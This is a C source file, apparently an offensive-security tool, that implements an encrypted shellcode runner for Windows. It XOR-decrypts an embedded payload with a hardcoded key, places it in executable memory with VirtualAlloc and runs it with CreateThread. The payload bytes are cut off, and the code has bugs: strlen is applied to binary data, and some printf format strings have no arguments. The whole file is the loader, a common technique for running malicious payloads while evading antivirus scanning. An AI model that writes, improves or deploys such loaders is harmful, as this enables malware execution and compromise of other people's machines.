encrypted-shellcoderunner.c

#include <windows.h>
#include <stdio.h>
#include <string.h>
/*
1. Decrypt the encrypted shellcode with the key used to encrypt the shellcode.
2. Allocate a enough space on virtual memory for the decrypted shell code using VirtualAlloc()
3. Copy decrypted shellcode to the allocated memory using RtlMoveMemory()
4. Execute the certain region using CreateThread()
*/


int launch(char *buff)
{
    LPVOID lpvAddr;               // address of the test memory
    HANDLE  hHand;
    DWORD dwWaitResult;
    DWORD threadID;
    lpvAddr = VirtualAlloc(NULL, strlen(buff),0x3000,0x40);
    if(lpvAddr == NULL){
             printf("VirtualAlloc failed. Error");
             return 1;
    }else{
          printf("Committed %lu bytes at address");
    }
    RtlMoveMemory(lpvAddr,buff, strlen(buff));
    hHand = CreateThread(NULL,0,lpvAddr,NULL,0,&threadID);
    if(hHand == NULL){
             printf("CreateThread failed. Error");
             return 1;
    }
    else{
         printf("Createthread successful!");
    }
    dwWaitResult = WaitForSingleObject(hHand,INFINITE);
    return 0;
}
int main()
{
	char dec[1000]= {'\0'};
	int i = 0,key_count = 0;
	char key[] = "myxorkey@123";
	//XOR Encrypted Shell Code
	char enc[] =  "\xD7\xF6\x5A\xAE\xA5...";

	for (i = 0 ; i<= strlen(enc);i++){
		dec[i] = key[key_count]^enc[i];
		key_count++;
		if(key_count == strlen(key)){
			key_count = 0;
		}
	}
	launch(dec);
return 0;
}